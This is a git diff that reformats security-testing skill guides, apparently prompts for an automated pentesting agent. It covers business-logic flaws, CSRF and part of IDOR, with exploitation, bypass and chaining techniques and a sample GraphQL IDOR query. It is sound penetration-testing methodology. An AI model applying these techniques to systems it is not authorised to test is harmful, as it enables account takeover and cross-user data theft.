5. Probe background workers and webhooks separately; they often skip auth and rule checks.
|
|
||||||
6. Validate role/feature gates at the service that mutates state, not only at the edge.
|
|
||||||
7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues.
|
|
||||||
8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss.
|
|
||||||
9. Chain with authorization tests (IDOR/Function-level access) to magnify impact.
|
|
||||||
10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards.
|
|
||||||
</pro_tips>
|
|
||||||
|
|
||||||
<remember>Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse.</remember>
|
1. Start from invariants and ledgers, not UI—prove conservation of value breaks
|
||||||
</business_logic_flaws_guide>
|
2. Test with time and concurrency; many bugs only appear under pressure
|
||||||
|
3. Recompute totals server-side; never accept client math—flag when you observe otherwise
|
||||||
|
4. Treat idempotency and retries as first-class: verify key scope and persistence
|
||||||
|
5. Probe background workers and webhooks separately; they often skip auth and rule checks
|
||||||
|
6. Validate role/feature gates at the service that mutates state, not only at the edge
|
||||||
|
7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues
|
||||||
|
8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss
|
||||||
|
9. Chain with authorization tests (IDOR/Function-level access) to magnify impact
|
||||||
|
10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse.
|
||||||
@@ -1,174 +0,0 @@
|
|||||||
<csrf_vulnerability_guide>
|
|
||||||
<title>CROSS-SITE REQUEST FORGERY (CSRF)</title>
|
|
||||||
|
|
||||||
<critical>CSRF abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change.</critical>
|
|
||||||
|
|
||||||
<scope>
|
|
||||||
- Web apps with cookie-based sessions and HTTP auth
|
|
||||||
- JSON/REST, GraphQL (GET/persisted queries), file upload endpoints
|
|
||||||
- Authentication flows: login/logout, password/email change, MFA toggles
|
|
||||||
- OAuth/OIDC: authorize, token, logout, disconnect/connect
|
|
||||||
</scope>
|
|
||||||
|
|
||||||
<methodology>
|
|
||||||
1. Inventory all state-changing endpoints (including admin/staff) and note method, content-type, and whether they are reachable via top-level navigation or simple requests (no preflight).
|
|
||||||
2. For each, determine session model (cookies with SameSite attrs, custom headers, tokens) and whether server enforces anti-CSRF tokens and Origin/Referer.
|
|
||||||
3. Attempt preflightless delivery (form POST, text/plain, multipart/form-data) and top-level GET navigation.
|
|
||||||
4. Validate across browsers; behavior differs by SameSite and navigation context.
|
|
||||||
</methodology>
|
|
||||||
|
|
||||||
<high_value_targets>
|
|
||||||
- Credentials and profile changes (email/password/phone)
|
|
||||||
- Payment and money movement, subscription/plan changes
|
|
||||||
- API key/secret generation, PAT rotation, SSH keys
|
|
||||||
- 2FA/TOTP enable/disable; backup codes; device trust
|
|
||||||
- OAuth connect/disconnect; logout; account deletion
|
|
||||||
- Admin/staff actions and impersonation flows
|
|
||||||
- File uploads/deletes; access control changes
|
|
||||||
</high_value_targets>
|
|
||||||
|
|
||||||
<discovery_techniques>
|
|
||||||
<session_and_cookies>
|
|
||||||
- Inspect cookies: HttpOnly, Secure, SameSite (Strict/Lax/None). Note that Lax allows cookies on top-level cross-site GET; None requires Secure.
|
|
||||||
- Determine if Authorization headers or bearer tokens are used (generally not CSRF-prone) versus cookies (CSRF-prone).
|
|
||||||
</session_and_cookies>
|
|
||||||
|
|
||||||
<token_and_header_checks>
|
|
||||||
- Locate anti-CSRF tokens (hidden inputs, meta tags, custom headers). Test removal, reuse across requests, reuse across sessions, and binding to method/path.
|
|
||||||
- Verify server checks Origin and/or Referer on state changes; test null/missing and cross-origin values.
|
|
||||||
</token_and_header_checks>
|
|
||||||
|
|
||||||
<method_and_content_types>
|
|
||||||
- Confirm whether GET, HEAD, or OPTIONS perform state changes.
|
|
||||||
- Try simple content-types to avoid preflight: application/x-www-form-urlencoded, multipart/form-data, text/plain.
|
|
||||||
- Probe parsers that auto-coerce text/plain or form-encoded bodies into JSON.
|
|
||||||
</method_and_content_types>
|
|
||||||
|
|
||||||
<cors_profile>
|
|
||||||
- Identify Access-Control-Allow-Origin and -Credentials. Overly permissive CORS is not a CSRF fix and can turn CSRF into data exfiltration.
|
|
||||||
- Test per-endpoint CORS differences; preflight vs simple request behavior can diverge.
|
|
||||||
</cors_profile>
|
|
||||||
</discovery_techniques>
|
|
||||||
|
|
||||||
<exploitation_techniques>
|
|
||||||
<navigation_csrf>
|
|
||||||
- Auto-submitting form to target origin; works when cookies are sent and no token/origin checks are enforced.
|
|
||||||
- Top-level GET navigation can trigger state if server misuses GET or links actions to GET callbacks.
|
|
||||||
</navigation_csrf>
|
|
||||||
|
|
||||||
<simple_ct_csrf>
|
|
||||||
- application/x-www-form-urlencoded and multipart/form-data POSTs do not require preflight; prefer these encodings.
|
|
||||||
- text/plain form bodies can slip through validators and be parsed server-side.
|
|
||||||
</simple_ct_csrf>
|
|
||||||
|
|
||||||
<json_csrf>
|
|
||||||
- If server parses JSON from text/plain or form-encoded bodies, craft parameters to reconstruct JSON server-side.
|
|
||||||
- Some frameworks accept JSON keys via form fields (e.g., {% raw %}data[foo]=bar{% endraw %}) or treat duplicate keys leniently.
|
|
||||||
</json_csrf>
|
|
||||||
|
|
||||||
<login_logout_csrf>
|
|
||||||
- Force logout to clear CSRF tokens, then chain login CSRF to bind victim to attacker’s account.
|
|
||||||
- Login CSRF: submit attacker credentials to victim’s browser; later actions occur under attacker’s account.
|
|
||||||
</login_logout_csrf>
|
|
||||||
|
|
||||||
<oauth_oidc_flows>
|
|
||||||
- Abuse authorize/logout endpoints reachable via GET or form POST without origin checks; exploit relaxed SameSite on top-level navigations.
|
|
||||||
- Open redirects or loose redirect_uri validation can chain with CSRF to force unintended authorizations.
|
|
||||||
</oauth_oidc_flows>
|
|
||||||
|
|
||||||
<file_and_action_endpoints>
|
|
||||||
- File upload/delete often lack token checks; forge multipart requests to modify storage.
|
|
||||||
- Admin actions exposed as simple POST links are frequently CSRFable.
|
|
||||||
</file_and_action_endpoints>
|
|
||||||
</exploitation_techniques>
|
|
||||||
|
|
||||||
<advanced_techniques>
|
|
||||||
<samesite_nuance>
|
|
||||||
- Lax-by-default cookies are sent on top-level cross-site GET but not POST; exploit GET state changes and GET-based confirmation steps.
|
|
||||||
- Legacy or nonstandard clients may ignore SameSite; validate across browsers/devices.
|
|
||||||
</samesite_nuance>
|
|
||||||
|
|
||||||
<origin_referer_obfuscation>
|
|
||||||
- Sandbox/iframes can produce null Origin; some frameworks incorrectly accept null.
|
|
||||||
- about:blank/data: URLs alter Referer; ensure server requires explicit Origin/Referer match.
|
|
||||||
</origin_referer_obfuscation>
|
|
||||||
|
|
||||||
<method_override>
|
|
||||||
- Backends honoring _method or X-HTTP-Method-Override may allow destructive actions through a simple POST.
|
|
||||||
</method_override>
|
|
||||||
|
|
||||||
<graphql_csrf>
|
|
||||||
- If queries/mutations are allowed via GET or persisted queries, exploit top-level navigation with encoded payloads.
|
|
||||||
- Batched operations may hide mutations within a nominally safe request.
|
|
||||||
</graphql_csrf>
|
|
||||||
|
|
||||||
<websocket_csrf>
|
|
||||||
- Browsers send cookies on WebSocket handshake; enforce Origin checks server-side. Without them, cross-site pages can open authenticated sockets and issue actions.
|
|
||||||
</websocket_csrf>
|
|
||||||
</advanced_techniques>
|
|
||||||
|
|
||||||
<bypass_techniques>
|
|
||||||
<token_weaknesses>
|
|
||||||
- Accepting missing/empty tokens; tokens not tied to session, user, or path; tokens reused indefinitely; tokens in GET.
|
|
||||||
- Double-submit cookie without Secure/HttpOnly, or with predictable token sources.
|
|
||||||
</token_weaknesses>
|
|
||||||
|
|
||||||
<content_type_switching>
|
|
||||||
- Switch between form, multipart, and text/plain to reach different code paths and validators.
|
|
||||||
- Use duplicate keys and array shapes to confuse parsers.
|
|
||||||
</content_type_switching>
|
|
||||||
|
|
||||||
<header_manipulation>
|
|
||||||
- Strip Referer via meta refresh or navigate from about:blank; test null Origin acceptance.
|
|
||||||
- Leverage misconfigured CORS to add custom headers that servers mistakenly treat as CSRF tokens.
|
|
||||||
</header_manipulation>
|
|
||||||
</bypass_techniques>
|
|
||||||
|
|
||||||
<special_contexts>
|
|
||||||
<mobile_spa>
|
|
||||||
- Deep links and embedded WebViews may auto-send cookies; trigger actions via crafted intents/links.
|
|
||||||
- SPAs that rely solely on bearer tokens are less CSRF-prone, but hybrid apps mixing cookies and APIs can still be vulnerable.
|
|
||||||
</mobile_spa>
|
|
||||||
|
|
||||||
<integrations>
|
|
||||||
- Webhooks and back-office tools sometimes expose state-changing GETs intended for staff; confirm CSRF defenses there too.
|
|
||||||
</integrations>
|
|
||||||
</special_contexts>
|
|
||||||
|
|
||||||
<chaining_attacks>
|
|
||||||
- CSRF + IDOR: force actions on other users' resources once references are known.
|
|
||||||
- CSRF + Clickjacking: guide user interactions to bypass UI confirmations.
|
|
||||||
- CSRF + OAuth mix-up: bind victim sessions to unintended clients.
|
|
||||||
</chaining_attacks>
|
|
||||||
|
|
||||||
<validation>
|
|
||||||
1. Demonstrate a cross-origin page that triggers a state change without user interaction beyond visiting.
|
|
||||||
2. Show that removing the anti-CSRF control (token/header) is accepted, or that Origin/Referer are not verified.
|
|
||||||
3. Prove behavior across at least two browsers or contexts (top-level nav vs XHR/fetch).
|
|
||||||
4. Provide before/after state evidence for the same account.
|
|
||||||
5. If defenses exist, show the exact condition under which they are bypassed (content-type, method override, null Origin).
|
|
||||||
</validation>
|
|
||||||
|
|
||||||
<false_positives>
|
|
||||||
- Token verification present and required; Origin/Referer enforced consistently.
|
|
||||||
- No cookies sent on cross-site requests (SameSite=Strict, no HTTP auth) and no state change via simple requests.
|
|
||||||
- Only idempotent, non-sensitive operations affected.
|
|
||||||
</false_positives>
|
|
||||||
|
|
||||||
<impact>
|
|
||||||
- Account state changes (email/password/MFA), session hijacking via login CSRF, financial operations, administrative actions.
|
|
||||||
- Durable authorization changes (role/permission flips, key rotations) and data loss.
|
|
||||||
</impact>
|
|
||||||
|
|
||||||
<pro_tips>
|
|
||||||
1. Prefer preflightless vectors (form-encoded, multipart, text/plain) and top-level GET if available.
|
|
||||||
2. Test login/logout, OAuth connect/disconnect, and account linking first.
|
|
||||||
3. Validate Origin/Referer behavior explicitly; do not assume frameworks enforce them.
|
|
||||||
4. Toggle SameSite and observe differences across navigation vs XHR.
|
|
||||||
5. For GraphQL, attempt GET queries or persisted queries that carry mutations.
|
|
||||||
6. Always try method overrides and parser differentials.
|
|
||||||
7. Combine with clickjacking when visual confirmations block CSRF.
|
|
||||||
</pro_tips>
|
|
||||||
|
|
||||||
<remember>CSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the caller’s origin. Tokens and Origin checks must hold across methods, content-types, and transports.</remember>
|
|
||||||
</csrf_vulnerability_guide>
|
|
||||||
198
strix/skills/vulnerabilities/csrf.md
Normal file
198
strix/skills/vulnerabilities/csrf.md
Normal file
@@ -0,0 +1,198 @@
|
|||||||
|
---
|
||||||
|
name: csrf
|
||||||
|
description: CSRF testing covering token bypass, SameSite cookies, CORS misconfigurations, and state-changing request abuse
|
||||||
|
---
|
||||||
|
|
||||||
|
# CSRF
|
||||||
|
|
||||||
|
Cross-site request forgery abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change.
|
||||||
|
|
||||||
|
## Attack Surface
|
||||||
|
|
||||||
|
**Session Types**
|
||||||
|
- Web apps with cookie-based sessions and HTTP auth
|
||||||
|
- JSON/REST, GraphQL (GET/persisted queries), file upload endpoints
|
||||||
|
|
||||||
|
**Authentication Flows**
|
||||||
|
- Login/logout, password/email change, MFA toggles
|
||||||
|
|
||||||
|
**OAuth/OIDC**
|
||||||
|
- Authorize, token, logout, disconnect/connect endpoints
|
||||||
|
|
||||||
|
## High-Value Targets
|
||||||
|
|
||||||
|
- Credentials and profile changes (email/password/phone)
|
||||||
|
- Payment and money movement, subscription/plan changes
|
||||||
|
- API key/secret generation, PAT rotation, SSH keys
|
||||||
|
- 2FA/TOTP enable/disable; backup codes; device trust
|
||||||
|
- OAuth connect/disconnect; logout; account deletion
|
||||||
|
- Admin/staff actions and impersonation flows
|
||||||
|
- File uploads/deletes; access control changes
|
||||||
|
|
||||||
|
## Reconnaissance
|
||||||
|
|
||||||
|
### Session and Cookies
|
||||||
|
|
||||||
|
- Inspect cookies: HttpOnly, Secure, SameSite (Strict/Lax/None)
|
||||||
|
- Lax allows cookies on top-level cross-site GET; None requires Secure
|
||||||
|
- Determine if Authorization headers or bearer tokens are used (generally not CSRF-prone) versus cookies (CSRF-prone)
|
||||||
|
|
||||||
|
### Token and Header Checks
|
||||||
|
|
||||||
|
- Locate anti-CSRF tokens (hidden inputs, meta tags, custom headers)
|
||||||
|
- Test removal, reuse across requests, reuse across sessions, binding to method/path
|
||||||
|
- Verify server checks Origin and/or Referer on state changes
|
||||||
|
- Test null/missing and cross-origin values
|
||||||
|
|
||||||
|
### Method and Content-Types
|
||||||
|
|
||||||
|
- Confirm whether GET, HEAD, or OPTIONS perform state changes
|
||||||
|
- Try simple content-types to avoid preflight: `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`
|
||||||
|
- Probe parsers that auto-coerce `text/plain` or form-encoded bodies into JSON
|
||||||
|
|
||||||
|
### CORS Profile
|
||||||
|
|
||||||
|
- Identify `Access-Control-Allow-Origin` and `-Credentials`
|
||||||
|
- Overly permissive CORS is not a CSRF fix and can turn CSRF into data exfiltration
|
||||||
|
- Test per-endpoint CORS differences; preflight vs simple request behavior can diverge
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### Navigation CSRF
|
||||||
|
|
||||||
|
- Auto-submitting form to target origin; works when cookies are sent and no token/origin checks are enforced
|
||||||
|
- Top-level GET navigation can trigger state if server misuses GET or links actions to GET callbacks
|
||||||
|
|
||||||
|
### Simple Content-Type CSRF
|
||||||
|
|
||||||
|
- `application/x-www-form-urlencoded` and `multipart/form-data` POSTs do not require preflight
|
||||||
|
- `text/plain` form bodies can slip through validators and be parsed server-side
|
||||||
|
|
||||||
|
### JSON CSRF
|
||||||
|
|
||||||
|
- If server parses JSON from `text/plain` or form-encoded bodies, craft parameters to reconstruct JSON
|
||||||
|
- Some frameworks accept JSON keys via form fields (e.g., `data[foo]=bar`) or treat duplicate keys leniently
|
||||||
|
|
||||||
|
### Login/Logout CSRF
|
||||||
|
|
||||||
|
- Force logout to clear CSRF tokens, then chain login CSRF to bind victim to attacker's account
|
||||||
|
- Login CSRF: submit attacker credentials to victim's browser; later actions occur under attacker's account
|
||||||
|
|
||||||
|
### OAuth/OIDC Flows
|
||||||
|
|
||||||
|
- Abuse authorize/logout endpoints reachable via GET or form POST without origin checks
|
||||||
|
- Exploit relaxed SameSite on top-level navigations
|
||||||
|
- Open redirects or loose redirect_uri validation can chain with CSRF to force unintended authorizations
|
||||||
|
|
||||||
|
### File and Action Endpoints
|
||||||
|
|
||||||
|
- File upload/delete often lack token checks; forge multipart requests to modify storage
|
||||||
|
- Admin actions exposed as simple POST links are frequently CSRFable
|
||||||
|
|
||||||
|
### GraphQL CSRF
|
||||||
|
|
||||||
|
- If queries/mutations are allowed via GET or persisted queries, exploit top-level navigation with encoded payloads
|
||||||
|
- Batched operations may hide mutations within a nominally safe request
|
||||||
|
|
||||||
|
### WebSocket CSRF
|
||||||
|
|
||||||
|
- Browsers send cookies on WebSocket handshake
|
||||||
|
- Enforce Origin checks server-side; without them, cross-site pages can open authenticated sockets and issue actions
|
||||||
|
|
||||||
|
## Bypass Techniques
|
||||||
|
|
||||||
|
### SameSite Nuance
|
||||||
|
|
||||||
|
- Lax-by-default cookies are sent on top-level cross-site GET but not POST
|
||||||
|
- Exploit GET state changes and GET-based confirmation steps
|
||||||
|
- Legacy or nonstandard clients may ignore SameSite; validate across browsers/devices
|
||||||
|
|
||||||
|
### Origin/Referer Obfuscation
|
||||||
|
|
||||||
|
- Sandbox/iframes can produce null Origin; some frameworks incorrectly accept null
|
||||||
|
- `about:blank`/`data:` URLs alter Referer
|
||||||
|
- Ensure server requires explicit Origin/Referer match
|
||||||
|
|
||||||
|
### Method Override
|
||||||
|
|
||||||
|
- Backends honoring `_method` or `X-HTTP-Method-Override` may allow destructive actions through a simple POST
|
||||||
|
|
||||||
|
### Token Weaknesses
|
||||||
|
|
||||||
|
- Accepting missing/empty tokens
|
||||||
|
- Tokens not tied to session, user, or path
|
||||||
|
- Tokens reused indefinitely; tokens in GET
|
||||||
|
- Double-submit cookie without Secure/HttpOnly, or with predictable token sources
|
||||||
|
|
||||||
|
### Content-Type Switching
|
||||||
|
|
||||||
|
- Switch between form, multipart, and `text/plain` to reach different code paths
|
||||||
|
- Use duplicate keys and array shapes to confuse parsers
|
||||||
|
|
||||||
|
### Header Manipulation
|
||||||
|
|
||||||
|
- Strip Referer via meta refresh or navigate from `about:blank`
|
||||||
|
- Test null Origin acceptance
|
||||||
|
- Leverage misconfigured CORS to add custom headers that servers mistakenly treat as CSRF tokens
|
||||||
|
|
||||||
|
## Special Contexts
|
||||||
|
|
||||||
|
### Mobile/SPA
|
||||||
|
|
||||||
|
- Deep links and embedded WebViews may auto-send cookies; trigger actions via crafted intents/links
|
||||||
|
- SPAs that rely solely on bearer tokens are less CSRF-prone, but hybrid apps mixing cookies and APIs can still be vulnerable
|
||||||
|
|
||||||
|
### Integrations
|
||||||
|
|
||||||
|
- Webhooks and back-office tools sometimes expose state-changing GETs intended for staff
|
||||||
|
- Confirm CSRF defenses there too
|
||||||
|
|
||||||
|
## Chaining Attacks
|
||||||
|
|
||||||
|
- CSRF + IDOR: force actions on other users' resources once references are known
|
||||||
|
- CSRF + Clickjacking: guide user interactions to bypass UI confirmations
|
||||||
|
- CSRF + OAuth mix-up: bind victim sessions to unintended clients
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Inventory endpoints** - All state-changing endpoints including admin/staff
|
||||||
|
2. **Note request details** - Method, content-type, whether reachable via simple requests
|
||||||
|
3. **Assess session model** - Cookies with SameSite attrs, custom headers, tokens
|
||||||
|
4. **Check defenses** - Anti-CSRF tokens and Origin/Referer enforcement
|
||||||
|
5. **Attempt preflightless delivery** - Form POST, text/plain, multipart/form-data
|
||||||
|
6. **Test navigation** - Top-level GET navigation
|
||||||
|
7. **Cross-browser validation** - Behavior differs by SameSite and navigation context
|
||||||
|
|
||||||
|
## Validation
|
||||||
|
|
||||||
|
1. Demonstrate a cross-origin page that triggers a state change without user interaction beyond visiting
|
||||||
|
2. Show that removing the anti-CSRF control (token/header) is accepted, or that Origin/Referer are not verified
|
||||||
|
3. Prove behavior across at least two browsers or contexts (top-level nav vs XHR/fetch)
|
||||||
|
4. Provide before/after state evidence for the same account
|
||||||
|
5. If defenses exist, show the exact condition under which they are bypassed (content-type, method override, null Origin)
|
||||||
|
|
||||||
|
## False Positives
|
||||||
|
|
||||||
|
- Token verification present and required; Origin/Referer enforced consistently
|
||||||
|
- No cookies sent on cross-site requests (SameSite=Strict, no HTTP auth) and no state change via simple requests
|
||||||
|
- Only idempotent, non-sensitive operations affected
|
||||||
|
|
||||||
|
## Impact
|
||||||
|
|
||||||
|
- Account state changes (email/password/MFA), session hijacking via login CSRF
|
||||||
|
- Financial operations, administrative actions
|
||||||
|
- Durable authorization changes (role/permission flips, key rotations) and data loss
|
||||||
|
|
||||||
|
## Pro Tips
|
||||||
|
|
||||||
|
1. Prefer preflightless vectors (form-encoded, multipart, text/plain) and top-level GET if available
|
||||||
|
2. Test login/logout, OAuth connect/disconnect, and account linking first
|
||||||
|
3. Validate Origin/Referer behavior explicitly; do not assume frameworks enforce them
|
||||||
|
4. Toggle SameSite and observe differences across navigation vs XHR
|
||||||
|
5. For GraphQL, attempt GET queries or persisted queries that carry mutations
|
||||||
|
6. Always try method overrides and parser differentials
|
||||||
|
7. Combine with clickjacking when visual confirmations block CSRF
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
CSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the caller's origin. Tokens and Origin checks must hold across methods, content-types, and transports.
|
||||||
@@ -1,195 +0,0 @@
|
|||||||
<idor_vulnerability_guide>
|
|
||||||
<title>INSECURE DIRECT OBJECT REFERENCE (IDOR)</title>
|
|
||||||
|
|
||||||
<critical>Object- and function-level authorization failures (BOLA/IDOR) routinely lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.</critical>
|
|
||||||
|
|
||||||
<scope>
|
|
||||||
- Horizontal access: access another subject's objects of the same type
|
|
||||||
- Vertical access: access privileged objects/actions (admin-only, staff-only)
|
|
||||||
- Cross-tenant access: break isolation boundaries in multi-tenant systems
|
|
||||||
- Cross-service access: token or context accepted by the wrong service
|
|
||||||
</scope>
|
|
||||||
|
|
||||||
<methodology>
|
|
||||||
1. Build a Subject × Object × Action matrix (who can do what to which resource).
|
|
||||||
2. For each resource type, obtain at least two principals: owner and non-owner (plus admin/staff if applicable). Capture at least one valid object ID per principal.
|
|
||||||
3. Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants, and channels (web, mobile, API, GraphQL, WebSocket, gRPC).
|
|
||||||
4. Track consistency: the same rule must hold regardless of transport, content-type, serialization, or gateway.
|
|
||||||
</methodology>
|
|
||||||
|
|
||||||
<discovery_techniques>
|
|
||||||
<parameter_analysis>
|
|
||||||
- Object references appear in: paths, query params, JSON bodies, form-data, headers, cookies, JWT claims, GraphQL arguments, WebSocket messages, gRPC messages
|
|
||||||
- Identifier forms: integers, UUID/ULID/CUID, Snowflake, slugs, composite keys (e.g., {orgId}:{userId}), opaque tokens, base64/hex-encoded blobs
|
|
||||||
- Relationship references: parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId
|
|
||||||
- Expansion/projection knobs: fields, include, expand, projection, with, select, populate (often bypass authorization in resolvers or serializers)
|
|
||||||
- Pagination/cursors: page[offset], page[limit], cursor, nextPageToken (often reveal or accept cross-tenant/state)
|
|
||||||
</parameter_analysis>
|
|
||||||
|
|
||||||
<advanced_enumeration>
|
|
||||||
- Alternate types: {% raw %}{"id":123}{% endraw} vs {% raw %}{"id":"123"}{% endraw}, arrays vs scalars, objects vs scalars, null/empty/0/-1/MAX_INT, scientific notation, overflows, unknown attributes retained by backend
|
|
||||||
- Duplicate keys/parameter pollution: id=1&id=2, JSON duplicate keys {% raw %}{"id":1,"id":2}{% endraw} (parser precedence differences)
|
|
||||||
- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account
|
|
||||||
- Path traversal-like in virtual file systems: /files/user_123/../../user_456/report.csv
|
|
||||||
- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation
|
|
||||||
</advanced_enumeration>
|
|
||||||
</discovery_techniques>
|
|
||||||
|
|
||||||
<high_value_targets>
|
|
||||||
- Exports/backups/reporting endpoints (CSV/PDF/ZIP)
|
|
||||||
- Messaging/mailbox/notifications, audit logs, activity feeds
|
|
||||||
- Billing: invoices, payment methods, transactions, credits
|
|
||||||
- Healthcare/education records, HR documents, PII/PHI/PCI
|
|
||||||
- Admin/staff tools, impersonation/session management
|
|
||||||
- File/object storage keys (S3/GCS signed URLs, share links)
|
|
||||||
- Background jobs: import/export job IDs, task results
|
|
||||||
- Multi-tenant resources: organizations, workspaces, projects
|
|
||||||
</high_value_targets>
|
|
||||||
|
|
||||||
<exploitation_techniques>
|
|
||||||
<horizontal_vertical>
|
|
||||||
- Swap object IDs between principals using the same token to probe horizontal access; then repeat with lower-privilege tokens to probe vertical access
|
|
||||||
- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications
|
|
||||||
</horizontal_vertical>
|
|
||||||
|
|
||||||
<bulk_and_batch>
|
|
||||||
- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array
|
|
||||||
- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks
|
|
||||||
</bulk_and_batch>
|
|
||||||
|
|
||||||
<secondary_idor>
|
|
||||||
- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs, then fetch or mutate those objects directly
|
|
||||||
- Pagination/cursor manipulation to skip filters and pull other users' pages
|
|
||||||
</secondary_idor>
|
|
||||||
|
|
||||||
<job_task_objects>
|
|
||||||
- Access job/task IDs from one user to retrieve results for another (export/{jobId}/download, reports/{taskId})
|
|
||||||
- Cancel/approve someone else's jobs by referencing their task IDs
|
|
||||||
</job_task_objects>
|
|
||||||
|
|
||||||
<file_object_storage>
|
|
||||||
- Direct object paths or weakly scoped signed URLs; attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants
|
|
||||||
- Replace share tokens with tokens from other tenants; try case/URL-encoding variations
|
|
||||||
</file_object_storage>
|
|
||||||
</exploitation_techniques>
|
|
||||||
|
|
||||||
<advanced_techniques>
|
|
||||||
<graphql>
|
|
||||||
- Enforce resolver-level checks: do not rely on a top-level gate. Verify field and edge resolvers bind the resource to the caller on every hop
|
|
||||||
- Abuse batching/aliases to retrieve multiple users' nodes in one request and compare responses
|
|
||||||
- Global node patterns (Relay): decode base64 IDs and swap raw IDs; test {% raw %}node(id: "...base64..."){...}{% endraw %}
|
|
||||||
- Overfetching via fragments on privileged types; verify hidden fields cannot be queried by unprivileged callers
|
|
||||||
- Example:
|
|
||||||
{% raw %}
|
|
||||||
query IDOR {
|
|
||||||
me { id }
|
|
||||||
u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
|
|
||||||
u2: node(id: "VXNlcjo0NTc=") { ... on User { email } }
|
|
||||||
}
|
|
||||||
{% endraw %}
|
|
||||||
</graphql>
|
|
||||||
|
|
||||||
<microservices_gateways>
|
|
||||||
- Token confusion: a token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks
|
|
||||||
- Trust on headers: reverse proxies or API gateways injecting/trusting headers like X-User-Id, X-Organization-Id; try overriding or removing them
|
|
||||||
- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization
|
|
||||||
</microservices_gateways>
|
|
||||||
|
|
||||||
<multi_tenant>
|
|
||||||
- Probe tenant scoping through headers, subdomains, and path params (e.g., X-Tenant-ID, org slug). Try mixing org of token with resource from another org
|
|
||||||
- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants
|
|
||||||
</multi_tenant>
|
|
||||||
|
|
||||||
<uuid_and_opaque_ids>
|
|
||||||
- UUID/ULID are not authorization: acquire valid IDs from logs, exports, JS bundles, analytics endpoints, emails, or public activity, then test ownership binding
|
|
||||||
- Time-based IDs (UUIDv1, ULID) may be guessable within a window; combine with leakage sources for targeted access
|
|
||||||
</uuid_and_opaque_ids>
|
|
||||||
|
|
||||||
<blind_channels>
|
|
||||||
- Use differential responses (status, size, ETag, timing) to detect existence; error shape often differs for owned vs foreign objects
|
|
||||||
- HEAD/OPTIONS, conditional requests (If-None-Match/If-Modified-Since) can confirm existence without full content
|
|
||||||
</blind_channels>
|
|
||||||
</advanced_techniques>
|
|
||||||
|
|
||||||
<bypass_techniques>
|
|
||||||
<parser_and_transport>
|
|
||||||
- Content-type switching: application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data; some paths enforce checks per parser
|
|
||||||
- Method tunneling: X-HTTP-Method-Override, _method=PATCH; or using GET on endpoints incorrectly accepting state changes
|
|
||||||
- JSON duplicate keys/array injection to bypass naive validators
|
|
||||||
</parser_and_transport>
|
|
||||||
|
|
||||||
<parameter_pollution>
|
|
||||||
- Duplicate parameters in query/body to influence server-side precedence (id=123&id=456); try both orderings
|
|
||||||
- Mix case/alias param names so gateway and backend disagree (userId vs userid)
|
|
||||||
</parameter_pollution>
|
|
||||||
|
|
||||||
<cache_and_gateway>
|
|
||||||
- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users; manipulate Vary and Accept
|
|
||||||
- Redirect chains and 304/206 behaviors can leak content across tenants
|
|
||||||
</cache_and_gateway>
|
|
||||||
|
|
||||||
<race_windows>
|
|
||||||
- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests
|
|
||||||
</race_windows>
|
|
||||||
</bypass_techniques>
|
|
||||||
|
|
||||||
<special_contexts>
|
|
||||||
<websocket>
|
|
||||||
- Authorization per-subscription: ensure channel/topic names cannot be guessed (user_{id}, org_{id}); subscribe/publish checks must run server-side, not only at handshake
|
|
||||||
- Try sending messages with target user IDs after subscribing to own channels
|
|
||||||
</websocket>
|
|
||||||
|
|
||||||
<grpc>
|
|
||||||
- Direct protobuf fields (owner_id, tenant_id) often bypass HTTP-layer middleware; validate references via grpcurl with tokens from different principals
|
|
||||||
</grpc>
|
|
||||||
|
|
||||||
<integrations>
|
|
||||||
- Webhooks/callbacks referencing foreign objects (e.g., invoice_id) processed without verifying ownership
|
|
||||||
- Third-party importers syncing data into wrong tenant due to missing tenant binding
|
|
||||||
</integrations>
|
|
||||||
</special_contexts>
|
|
||||||
|
|
||||||
<chaining_attacks>
|
|
||||||
- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered
|
|
||||||
- IDOR + Stored XSS: pivot into other users' sessions through data you gained access to
|
|
||||||
- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources
|
|
||||||
- IDOR + Race: bypass spot checks with simultaneous requests
|
|
||||||
</chaining_attacks>
|
|
||||||
|
|
||||||
<validation>
|
|
||||||
1. Demonstrate access to an object not owned by the caller (content or metadata).
|
|
||||||
